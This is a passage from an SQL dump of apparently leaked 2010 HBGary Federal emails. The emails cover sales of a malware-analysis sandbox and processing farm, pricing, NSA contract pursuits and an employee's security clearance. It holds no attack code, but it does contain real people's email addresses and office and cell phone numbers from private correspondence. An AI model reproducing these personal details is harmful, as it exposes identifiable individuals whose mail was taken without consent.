02:31:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14693,'aaron_hbgary_com/14693.html'),(5528,'2010-04-20','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004016.M253140P14101Q383.eml','\"Aaron Barr\" <aaron@hbgary.com>','REcon info','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nHere is some REcon data.&nbsp; The user guide is from Nov so it\r\nmight be dated.&nbsp; A lot of what I wrote in the SMART section of the DARPA\r\nproposal was pulled directly from the attached REcon for Exploitation doc.\r\n\r\n&nbsp;\r\n\r\nI think I have some TMC docs.&nbsp; Let me find them and send\r\nthem to you.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15572,'aaron_hbgary_com/15572.html'),(5529,'2010-04-20','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004016.M945354P14101Q384.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Customer demand for a standalone REcon product','Aaron,I just noticed in an old email that Bodman was going to include Robert Nissen (Bob Nissen).  I missed that connection when you sent your email a couple of weeks ago. So, yeah, same guy.Bob\r\nOn Mon, Apr 5, 2010 at 9:25 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nThat is great news.  I am heading up on the 19th (I think I mentioned this) to talk with a Jerry Bodman and Robert Nissen.  I am not sure what group they are with yet, but they want to talk about DDNA and Threat Intelligence.\r\nBTW, I like greg&#39;s comments on the $500 dollar boxes :)AaronOn Apr 4, 2010, at 11:15 AM, Bob Slapnik wrote:\r\n\r\nAaron,\r\n See email chain for more info about the emerging standalone REcon product.  The NSA Blue Team (Responder customer) wants a demo in 3 weeks.  We can leverage that relationship into ANO and other NSA organizations.  Blue Team is actively looking for a sandbox solution and want a solution in place by July/August.  REcon as part of Responder demos well, but I want Sac to pull together a demo of the scalable, automated system.\r\n \r\nBob \r\nFrom: Bob Slapnik [mailto:bob@hbgary.com] \r\nSent: Sunday, April 04, 2010 11:12 AMTo: &#39;Greg Hoglund&#39;Cc: &#39;Penny Leavy-Hoglund&#39;; &#39;Rich Cummings&#39;; &#39;shawn@hbgary.com&#39;\r\nSubject: RE: Customer demand for a standalone REcon product \r\nGreg, \r\nThanks for the review of comparing REcon to the sandbox competition.  It is going to be fun selling against them.  Off the top of my head I see the following advantages:\r\n·         REcon provides lowest level data – all instructions, all data used or generated\r\n·         REcon can recover encrypted data in clear text\r\n·         REcon scales with no upward limit with a fully automated system. We can outfit whatever processing size the customer needs.\r\n·         We also offer a single user version with manual interface with Responder. (I like very much that REcon within Responder is one binary at a time and doesn’t scale.  It gives customers a taste for the bigger, more expensive, scalable, standalone REcon. I also like that the standalone REcon requires Responder to read the journal file output.)\r\n·         HBGary analysis combines static and dynamic analysis in one framework\r\n·         HBGary can do REcon and DDNA analysis within the same dynamic analysis run\r\n·         Competition has nothing like our r/e capabilities\r\n \r\nPlaces where HBGary needs to “catch up” to competition (but will very soon)\r\n·         Web interface option\r\n·         Ability to demo fully automated version (today I’ve only seen the Responder UI version)\r\no   Do you have a Standalone REcon setup in Sacramento that we can demo via webex?\r\n \r\nJust for clarification, is the ESX architecture a thing of the past?  Are we 100% using the Gateway machines?  In other words, am I to pitch only the Gateway machine approach and not the ESX server approach?\r\n \r\nBob \r\nFrom: Greg Hoglund [mailto:greg@hbgary.com] \r\nSent: Saturday, April 03, 2010 2:39 PMTo: Bob SlapnikCc: Penny Leavy-Hoglund; Rich Cummings; shawn@hbgary.com\r\nSubject: Re: Customer demand for a standalone REcon product \r\n  \r\nBob, \r\nYou need to make it very clear to these customers that HBGary&#39;s solution will produce vast amounts of functional data that neither CW or Norman will be able to compete with.  If they need convincing of that, email them the REcon whitepaper.  Tell them we can collect down to the instruction, if they so desire.  If they don&#39;t think they need such low level data, tell them that we can recover clear-text from otherwise encrypted data because of our low level approach.  Also, make it clear we can integrate the data in any way to suit their statistical needs, custom to their integration needs.  We will deliver them the source code to our C# application that manages the feed farm and statistics, so there is nothing standing in the way between them and success.  They can chop it up and manage it any way they want. \r\n \r\nOh, and before you piss all over the fact we use $500 gateway machines, wake up to the fact that google runs on the same.  These so-called shitty $500 computers have more power than $5000 dollars would have bought you 3 years ago.  Also, because they are cheap, they scale on a budget.  If you start thinking about solutions-engineering with a real-world budget, you will realize there simply is no better choice than the way we are doing it now.  Any other choice would be throwing good money away and probably getting poorer performance and thru-put.  If you really think the customer won&#39;t buy because of the hardware, then triple the price for the same exact through-put and HBGary will unbolt the motherboards and drop them into 1-U rackspace boxes and spray paint them all bright red so it will show off better to whoever the customer is planning on walking through their data facility - since how it looks is obviously more important than actually analyzing malware.\r\n \r\n -Greg\r\n On Sat, Apr 3, 2010 at 9:18 AM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\nNorman and CWSandbox are being considered at Booz, NSA and NG.  Purchases haven’t been made yet so it biz we can win.\r\n \r\n \r\nFrom: Penny Leavy-Hoglund [mailto:penny@hbgary.com] \r\nSent: Friday, April 02, 2010 2:20 PMTo: &#39;Bob Slapnik&#39;; &#39;Greg Hoglund&#39;; &#39;Rich Cummings&#39;Subject: RE: Customer demand for a standalone REcon product\r\n \r\nWhy aren’t they using Norman or CWSandbox? \r\nFrom: Bob Slapnik [mailto:bob@hbgary.com] \r\nSent: Friday, April 02, 2010 7:06 AMTo: &#39;Greg Hoglund&#39;; &#39;Penny Leavy-Hoglund&#39;; &#39;Rich Cummings&#39;Subject: Customer demand for a standalone REcon product\r\n \r\nGreg, Penny and Rich, \r\nI’ve run into multiple instances where customers/prospects want a standalone REcon product.  I see us going forward with a single user REcon as part of Responder and where you must have Responder to consume the REcon journal file.  But in addition, we need a standalone, SCALABLE REcon product.\r\n Here are some features that Standalone REcon would need:\r\n·         Has its own licensing scheme\r\no   Licensing has a way to that we can charge more depending on how many concurrent REcon instances they want to run\r\no   Some customer want to process lots of malware so will need to run REcon in parallel or on fast gear\r\n·         A command line interface so people can run it programmatically\r\n·         Its output in an open (non-proprietary) format for easy integration into other technologies\r\n·         Configured to run with or without memory analysis\r\no   Some people want it for thorough malware analysis so combining runtime data with WPMA data would be great\r\no   Some people want to run it as a network in-line device so for speed (minimizing the time) they will want to run the malware and just use the journal file info – not enough time to run WPMA.  It would be useful to have DDNA operate on the runtime journal file info.\r\n·         Some customers may want a web interface.\r\n I have no idea when this could fit into the development schedule or if you would require a customer to fund its development.  Purpose of this email is to communicate what I’ve seen in selling situations.  The setup I describe would also help us compete more directly with Norman and CWSandbox.\r\n Bob\r\n No virus found in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.800 / Virus Database: 271.1.1/2785 - Release Date: 04/02/10 02:32:00\r\n No virus found in this incoming message.\r\nChecked by AVG - www.avg.comVersion: 9.0.800 / Virus Database: 271.1.1/2785 - Release Date: 04/03/10 02:32:00\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n',5228,'aaron_hbgary_com/5228.html'),(5530,'2010-04-20','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004017.M300549P14101Q385.eml','\"Aaron Barr\" <aaron@hbgary.com>','TMC info','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI thought I had more TMC content, but I can&#8217;t find\r\nit.&nbsp; Basically, we need to simply write about it as we understand it. This\r\nshould be good enough.&nbsp; The components are:\r\n\r\n&nbsp;\r\n\r\nSTALKER &#8211; This is the front end that manages the load\r\nof malware and feeds them in a load balance way across many computers.\r\n\r\nCOMPUTER FARM\r\n\r\nEACH MACHINE WITH VMWARE AND RECON &#8211; Single binary or\r\nmalware sample is launched inside of REcon insider of vm.&nbsp; It\r\nautomatically executes for a period of time.\r\n\r\nRECON &#8211; Greg&#8217;s paper on REcon for exploitation\r\ndescribes how REcon works and how it harvests runtime data. I also wrote this\r\nup in the DARPA proposal. (In Sac they use Flypaper instead of REcon.)\r\n\r\nSUSPEND THE VM AND TAKE A SNAPSHOT &#8211; This are standard\r\nvmware features we have automated.&nbsp; The snapshot is a .vmem file.\r\n\r\nANALYZE MEMORY &#8211; The vmem file is loaded into a &#8220;headless&#8221;\r\nversion of Responder Pro (no UI).&nbsp; Memory is analyzed.&nbsp; Objects are\r\nreconstructed.\r\n\r\nDDNA &#8211; As a continuation of the memory analysis, each\r\nbinary is analyzed with DDNA and given a threat severity score.\r\n\r\nOUTPUT GENERATED &#8211; (1) Lots of low level runtime data\r\ncollected by REcon, (2) data about objects found in memory (headless Responder\r\nwhich may be referred to as WPMA or Windows Physical Memory Analyzer), and (3)\r\nDDNA and traits info.\r\n\r\nAUTOMATED REPORTED &#8211; We need to build good reports\r\nbased on the data generated in the previous step.\r\n\r\n&nbsp;\r\n\r\nIn a nutshell, this is TMC.&nbsp; Beyond TMC we have\r\nResponder Pro for deeper dive analysis and we have DDNA out over the enterprise\r\nendpoints.&nbsp; \r\n\r\n&nbsp;\r\n\r\nCan this be a good starting point for you to draft the\r\npaper?\r\n\r\n&nbsp;\r\n\r\nFROM GREG&#8230;&#8230;\r\n\r\nWe\r\ncan set this up for a customer on a one-off basis today.&nbsp; We need to bill\r\nthem for services around the deployment.&nbsp; A deployment will be around 2\r\nweeks including integration work with their existing SQL or with a stand-alone\r\nSQL.&nbsp; If they want a web interface we can bill them for the creation of\r\nthat as well.&nbsp; We already use a stand-alone C# application called Stalker\r\nfor this, which is very good as long as the user is on the same network as the\r\nSQL server, and VPN is an option with that.&nbsp; I would also discuss with\r\nPenny what the licensing cost is for this.&nbsp; We can process about 1,500\r\nmalware per 24 hour period per node in the farm, and this scales\r\nlinearly.&nbsp; I would put together a package something like this:&nbsp;\r\n\r\nDaily\r\nCapacity: 60,000 malware (40 nodes)\r\n\r\nHardware\r\ncost for node farm: $20,000\r\n\r\nSQL\r\nserver cost: $1500\r\n\r\nBilling\r\nfor setup and integration: 80 hours @ $400.00/hr ($32,000)\r\n\r\nLicensing\r\nfor 40 REcon stand-alone nodes, including stalker front-end for mgmt,\r\nsearching, &amp; statistics: $100,000 \r\n\r\nYearly\r\nmaintenance: ??\r\n\r\nOptional:\r\nSubscription to HBGary\'s malware feed, $50,000 / year \r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12621,'aaron_hbgary_com/12621.html'),(5531,'2010-04-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004017.M587311P14101Q386.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>,\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','Re: Checking in','Great. &nbsp;Any benefit to getting together next week to discuss approach. &nbsp;My opinion approach drives teaming and I was just wondering about the commercial element. &nbsp;Also have some things to share about the current team and initiatives.John. &nbsp;I would also like to talk about NTOC.I am in Sacramento the rest of the week, if you guys have some time next week.AaronOn Apr 20, 2010, at 3:06 PM, Clair, Chris (TASC) wrote:Hi Aaron,&nbsp;Thanks – we are aware of the RFI, and we responded as well.&nbsp; Meeting with EDS was a little flat.&nbsp; However we did meet with Abraxas and it looks promising.&nbsp;&nbsp;Hope this helps,&nbsp;Chris&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, April 13, 2010 4:02 PMTo:&nbsp;Clair, Chris (TASC)Cc:&nbsp;Lovegrove, John (TASC)Subject:&nbsp;Re: Checking in&nbsp;Great. &nbsp;Are u aware of the psyops rfi for socom? &nbsp;We are submitting capabilities. &nbsp;How did meetimg with EDS go?&nbsp;Aaron &nbsp;From my iPhoneOn Apr 13, 2010, at 3:52 PM, \"Clair, Chris (TASC)\" &lt;CHRISTOPHER.CLAIR@tasc.com&gt; wrote:Hi Aaron,&nbsp;We are meeting with Abraxas and Cipher on Thursday.&nbsp; I have not talked to Lincoln or ManTech.&nbsp; We are still working on those.&nbsp; Thanks for the tip on IMGnetworks (John can you contact them?).&nbsp;I’ll see about getting a new badge but it won’t be until next week.&nbsp;Thanks,&nbsp;Chris&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, April 13, 2010 12:35 PMTo:&nbsp;Clair, Chris (TASC)Subject:&nbsp;Re: Checking in&nbsp;Hey Chris,&nbsp;Checking in again, seeing how things are going. &nbsp;Ted is working on his SF86 and will get it to you shortly.&nbsp;Any chance I can get put in for an indoc for a new badge?&nbsp;Did you guys touch base with Lincoln group? or Mantech? &nbsp;Also might want to check out a company IMGnetworks. &nbsp;They supposedly have cleared folks I think, while their samples off their website aren\'t fabulous, they have some capability with past performance in the area.&nbsp;Aaron&nbsp;&nbsp;On Apr 5, 2010, at 3:06 PM, Clair, Chris (TASC) wrote:&nbsp;Hi Aaron,&nbsp;I got the OK from my boss.&nbsp; Can we get Ted to fill out a new SF86?&nbsp; I can start the other paperwork here.&nbsp;Thanks,&nbsp;Chris&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, April 05, 2010 9:59 AMTo:&nbsp;Clair, Chris (TASC)Subject:&nbsp;Re: Checking in&nbsp;I think him cleared would be very helpful. &nbsp;Let me know how you want to proceed.&nbsp;Aaron&nbsp;On Apr 1, 2010, at 11:58 AM, Clair, Chris (TASC) wrote:Hi Aaron,Is there anything we want to do with Ted\'s clearance?&nbsp; I think I can get the OK from my customer to initiate a new clearance.&nbsp; From what I understand, Ted is very instrumental in the COIN processes.&nbsp; Let me know what you think.Chris-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com]Sent: Thu 4/1/2010 10:38 AMTo: Lovegrove, John (TASC)Cc: Clair, Chris (TASC); Garcia, Kathy (TASC)Subject: Re: Checking inI haven\'t I will check.&nbsp;From my iPhoneOn Apr 1, 2010, at 9:37 AM, \"Lovegrove, John (TASC)\" &lt;John.Lovegrove@tasc.com&nbsp;&gt; wrote:&gt; Hey Aaron,&gt;&gt; We are still pulling the team together on COIN, we have a follow up&gt; discussion with SAIC tomorrow. I got a random report that the&gt; competition was cancelled, did you hear anything about this?&gt;&gt;&gt; John Lovegrove&gt; Director&gt; Office: (703) 449-3812&gt; Cell: (571) 294-5154&gt;&gt;&gt;&gt; TASC INTERNAL DISTRIBUTION ONLY&gt; This e-mail, including attachments, is intended for the exclusive&gt; use of&gt; the person or entity to whom it is addressed and may contain&gt; confidential or privileged information. If the reader of this e-mail&gt; is&gt; not the intended recipient or his or her authorized agent, the&gt; reader is&gt; hereby notified that any dissemination, distribution or copying of&gt; this&gt; e-mail is prohibited. If you think that you have received this e-&gt; mail in&gt; error, please advise the sender by reply e-mail of the error and then&gt; delete this e-mail immediately.&gt;&gt; -----Original Message-----&gt; From: Aaron Barr [mailto:aaron@hbgary.com]&gt; Sent: Monday, March 29, 2010 2:01 PM&gt; To: Lovegrove, John (TASC)&gt; Subject: Checking in&gt;&gt; Hey John,&gt;&gt; Just turnednin my DARPA proposal, decpressedfor a few minutes, then&gt; started thinking about all the other stuff going on.&nbsp; What is the&gt; status of your COIN effort and when would you like to set up anyone to&gt; talk about NSA?&gt;&gt; Aaron&gt;&gt; From my iPhone&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',16004,'aaron_hbgary_com/16004.html'),(5532,'2010-04-21','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297004017.M859119P14101Q387.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Checking in','\r\n\r\n\r\n\r\n\r\nRE: Checking in\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nMonday is the only bad day for me.&nbsp; Can we meet Tuesday morning?&nbsp; Does 10:00 work for you in the same conference room?&nbsp; I\'d like to talk a little about Abraxas and Cipher.\r\n\r\nLemme know,\r\n\r\nChris&nbsp;\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Tue 4/20/2010 8:51 PM\r\nTo: Clair, Chris (TASC)\r\nCc: Lovegrove, John (TASC)\r\nSubject: Re: Checking in\r\n\r\nGreat.&nbsp; Any benefit to getting together next week to discuss approach.&nbsp; My opinion approach drives teaming and I was just wondering about the commercial element.&nbsp; Also have some things to share about the current team and initiatives.\r\n\r\nJohn.&nbsp; I would also like to talk about NTOC.\r\n\r\nI am in Sacramento the rest of the week, if you guys have some time next week.\r\n\r\nAaron\r\nOn Apr 20, 2010, at 3:06 PM, Clair, Chris (TASC) wrote:\r\n\r\n&gt; Hi Aaron,\r\n&gt;&nbsp;\r\n&gt; Thanks - we are aware of the RFI, and we responded as well.&nbsp; Meeting with EDS was a little flat.&nbsp; However we did meet with Abraxas and it looks promising.\r\n&gt;&nbsp;\r\n&gt; Hope this helps,\r\n&gt;&nbsp;\r\n&gt; Chris\r\n&gt;&nbsp;\r\n&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; Sent: Tuesday, April 13, 2010 4:02 PM\r\n&gt; To: Clair, Chris (TASC)\r\n&gt; Cc: Lovegrove, John (TASC)\r\n&gt; Subject: Re: Checking in\r\n&gt;&nbsp;\r\n&gt; Great.&nbsp; Are u aware of the psyops rfi for socom?&nbsp; We are submitting capabilities.&nbsp; How did meetimg with EDS go?\r\n&gt;&nbsp;\r\n&gt; Aaron&nbsp;\r\n&gt;\r\n&gt; From my iPhone\r\n&gt;\r\n&gt; On Apr 13, 2010, at 3:52 PM, &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt; wrote:\r\n&gt;\r\n&gt; Hi Aaron,\r\n&gt;&nbsp;\r\n&gt; We are meeting with Abraxas and Cipher on Thursday.&nbsp; I have not talked to Lincoln or ManTech.&nbsp; We are still working on those.&nbsp; Thanks for the tip on IMGnetworks (John can you contact them?).\r\n&gt;&nbsp;\r\n&gt; I\'ll see about getting a new badge but it won\'t be until next week.\r\n&gt;&nbsp;\r\n&gt; Thanks,\r\n&gt;&nbsp;\r\n&gt; Chris\r\n&gt;&nbsp;\r\n&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; Sent: Tuesday, April 13, 2010 12:35 PM\r\n&gt; To: Clair, Chris (TASC)\r\n&gt; Subject: Re: Checking in\r\n&gt;&nbsp;\r\n&gt; Hey Chris,\r\n&gt;&nbsp;\r\n&gt; Checking in again, seeing how things are going.&nbsp; Ted is working on his SF86 and will get it to you shortly.\r\n&gt;&nbsp;\r\n&gt; Any chance I can get put in for an indoc for a new badge?\r\n&gt;&nbsp;\r\n&gt; Did you guys touch base with Lincoln group? or Mantech?&nbsp; Also might want to check out a company IMGnetworks.&nbsp; They supposedly have cleared folks I think, while their samples off their website aren\'t fabulous, they have some capability with past performance in the area.\r\n&gt;&nbsp;\r\n&gt; Aaron\r\n&gt;&nbsp;\r\n&gt;&nbsp;\r\n&gt; On Apr 5, 2010, at 3:06 PM, Clair, Chris (TASC) wrote:\r\n&gt;&nbsp;\r\n&gt;\r\n&gt; Hi Aaron,\r\n&gt;&nbsp;\r\n&gt; I got the OK from my boss.&nbsp; Can we get Ted to fill out a new SF86?&nbsp; I can start the other paperwork here.\r\n&gt;&nbsp;\r\n&gt; Thanks,\r\n&gt;&nbsp;\r\n&gt; Chris\r\n&gt;&nbsp;\r\n&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; Sent: Monday, April 05, 2010 9:59 AM\r\n&gt; To: Clair, Chris (TASC)\r\n&gt; Subject: Re: Checking in\r\n&gt;&nbsp;\r\n&gt; I think him cleared would be very helpful.&nbsp; Let me know how you want to proceed.\r\n&gt;&nbsp;\r\n&gt; Aaron\r\n&gt;&nbsp;\r\n&gt; On Apr 1, 2010, at 11:58 AM, Clair, Chris (TASC) wrote:\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; Hi Aaron,\r\n&gt;\r\n&gt; Is there anything we want to do with Ted\'s clearance?&nbsp; I think I can get the OK from my customer to initiate a new clearance.&nbsp; From what I understand, Ted is very instrumental in the COIN processes.&nbsp; Let me know what you think.\r\n&gt;\r\n&gt; Chris\r\n&gt;\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; Sent: Thu 4/1/2010 10:38 AM\r\n&gt; To: Lovegrove, John (TASC)\r\n&gt; Cc: Clair, Chris (TASC); Garcia, Kathy (TASC)\r\n&gt; Subject: Re: Checking in\r\n&gt;\r\n&gt; I haven\'t I will check.\r\n&gt;\r\n&gt;\r\n&gt;&nbsp; From my iPhone\r\n&gt;\r\n&gt; On Apr 1, 2010, at 9:37 AM, &quot;Lovegrove, John (TASC)&quot; &lt;John.Lovegrove@tasc.com\r\n&gt;&nbsp; &gt; wrote:\r\n&gt;\r\n&gt; &gt; Hey Aaron,\r\n&gt; &gt;\r\n&gt; &gt; We are still pulling the team together on COIN, we have a follow up\r\n&gt; &gt; discussion with SAIC tomorrow. I got a random report that the\r\n&gt; &gt; competition was cancelled, did you hear anything about this?\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt; John Lovegrove\r\n&gt; &gt; Director\r\n&gt; &gt; Office: (703) 449-3812\r\n&gt; &gt; Cell: (571) 294-5154\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt; TASC INTERNAL DISTRIBUTION ONLY\r\n&gt; &gt; This e-mail, including attachments, is intended for the exclusive\r\n&gt; &gt; use of\r\n&gt; &gt; the person or entity to whom it is addressed and may contain\r\n&gt; &gt; confidential or privileged information. If the reader of this e-mail\r\n&gt; &gt; is\r\n&gt; &gt; not the intended recipient or his or her authorized agent, the\r\n&gt; &gt; reader is\r\n&gt; &gt; hereby notified that any dissemination, distribution or copying of\r\n&gt; &gt; this\r\n&gt; &gt; e-mail is prohibited. If you think that you have received this e-\r\n&gt; &gt; mail in\r\n&gt; &gt; error, please advise the sender by reply e-mail of the error and then\r\n&gt; &gt; delete this e-mail immediately.\r\n&gt; &gt;\r\n&gt; &gt; -----Original Message-----\r\n&gt; &gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; &gt; Sent: Monday, March 29, 2010 2:01 PM\r\n&gt; &gt; To: Lovegrove, John (TASC)\r\n&gt; &gt; Subject: Checking in\r\n&gt; &gt;\r\n&gt; &gt; Hey John,\r\n&gt; &gt;\r\n&gt; &gt; Just turnednin my DARPA proposal, decpressedfor a few minutes, then\r\n&gt; &gt; started thinking about all the other stuff going on.&nbsp; What is the\r\n&gt; &gt; status of your COIN effort and when would you like to set up anyone to\r\n&gt; &gt; talk about NSA?\r\n&gt; &gt;\r\n&gt; &gt; Aaron\r\n&gt; &gt;\r\n&gt; &gt; From my iPhone\r\n&gt;\r\n&gt;&nbsp;\r\n&gt; Aaron Barr\r\n&gt; CEO\r\n&gt; HBGary Federal Inc.\r\n&gt;&nbsp;\r\n&gt;&nbsp;\r\n&gt;&nbsp;\r\n&gt;&nbsp;\r\n&gt; Aaron Barr\r\n&gt; CEO\r\n&gt; HBGary Federal Inc.\r\n&gt;&nbsp;\r\n&gt;&nbsp;\r\n&gt;&nbsp;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8717,'aaron_hbgary_com/8717.html'),(5533,'2010-04-21','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297004018.M125925P14101Q388.eml','\"Aaron Barr\" <aaron@hbgary.com>','Tomorrow','\r\n\r\n\r\n\r\n\r\nTomorrow\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nI am very sorry that I have not been very responsive for the last few days.&nbsp; Had travel last week and just can&#8217;t get caught up.&nbsp; Will call you tomorrow to get caught up.\r\n\r\nBrian\r\n\r\n\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n',3442,'aaron_hbgary_com/3442.html'),(5534,'2010-04-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004018.M362375P14101Q389.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Tomorrow','Hey no worries. &nbsp;I understand. &nbsp;Just wanted to make sure everything was ok.Talk to you tomorrow.We have been getting some really good traction at NSA the last few days, more meetings there next week.AaronOn Apr 20, 2010, at 9:48 PM, Masterson, Brian (Xetron) wrote:\r\n\r\nAaron,I am very sorry that I have not been very responsive for the last few days.&nbsp; Had travel last week and just can’t get caught up.&nbsp; Will call you tomorrow to get caught up.BrianBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',4287,'aaron_hbgary_com/4287.html'),(5535,'2010-04-21','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297004018.M612679P14101Q390.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Tomorrow','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nCool. Sorry again.&nbsp;&nbsp; Had good meetings with JTF and First IO.&nbsp;\r\nGot two IG projects starting.&nbsp; Other ideas.&nbsp; Need to compare.\r\n\r\nSo, when are babies supposed to sleep more than 4 hours??????\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, April 20, 2010 9:53 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Tomorrow\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHey no worries. &nbsp;I understand. &nbsp;Just wanted to\r\nmake sure everything was ok.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTalk to you tomorrow.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe have been getting some really good traction at NSA the\r\nlast few days, more meetings there next week.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 20, 2010, at 9:48 PM, Masterson, Brian (Xetron)\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nI am very sorry that I have\r\nnot been very responsive for\r\nthe last few days.&nbsp; Had travel last week and just can&#8217;t get caught\r\nup.&nbsp; Will call you tomorrow to get caught up.\r\n\r\nBrian\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian\r\nMasterson\r\nNorthrop\r\nGrumman/Xetron\r\nChief\r\nTechnology Officer, IO Programs\r\nPh:\r\n513-881-3591\r\nCell:\r\n513-706-4848\r\nFax:\r\n513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',486,'aaron_hbgary_com/486.html'),(5536,'2010-04-21','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297004018.M839238P14101Q391.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Tomorrow','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nOh yeah.&nbsp; Am in town tomorrow.&nbsp; Up at BWI til 4 then staying in Crystal\r\nCity for 8AM meeting with Jim Barnett on Thursday then back up to BWI for mtg\r\nwith NSA at 10.&nbsp; Heading home first thing Friday morning.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] 